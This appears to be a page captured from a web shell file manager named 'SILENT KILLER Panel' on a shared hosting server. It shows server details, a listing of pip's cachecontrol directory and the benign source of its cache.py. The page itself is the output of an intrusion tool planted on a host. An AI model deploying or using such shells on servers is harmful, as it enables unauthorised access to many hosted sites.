SILENT KILLERPanel

Current Path: > > usr > lib > python3.8 > site-packages > > pip > > _vendor > cachecontrol


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //usr/lib/python3.8/site-packages//pip//_vendor/cachecontrol

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
caches Directory - -
__init__.py File 302 bytes October 17 2023 18:30:24.
_cmd.py File 1295 bytes October 17 2023 18:30:24.
adapter.py File 4863 bytes October 17 2023 18:30:24.
cache.py File 805 bytes October 17 2023 18:30:24.
compat.py File 695 bytes October 17 2023 18:30:24.
controller.py File 13698 bytes October 17 2023 18:30:24.
filewrapper.py File 2533 bytes October 17 2023 18:30:24.
heuristics.py File 4070 bytes October 17 2023 18:30:24.
serialize.py File 6954 bytes October 17 2023 18:30:24.
wrapper.py File 671 bytes October 17 2023 18:30:24.

Reading File: //usr/lib/python3.8/site-packages//pip//_vendor/cachecontrol/cache.py

"""
The cache object API for implementing caches. The default is a thread
safe in-memory dictionary.
"""
from threading import Lock


class BaseCache(object):

    def get(self, key):
        raise NotImplementedError()

    def set(self, key, value):
        raise NotImplementedError()

    def delete(self, key):
        raise NotImplementedError()

    def close(self):
        pass


class DictCache(BaseCache):

    def __init__(self, init_dict=None):
        self.lock = Lock()
        self.data = init_dict or {}

    def get(self, key):
        return self.data.get(key, None)

    def set(self, key, value):
        with self.lock:
            self.data.update({key: value})

    def delete(self, key):
        with self.lock:
            if key in self.data:
                self.data.pop(key)

SILENT KILLER Tool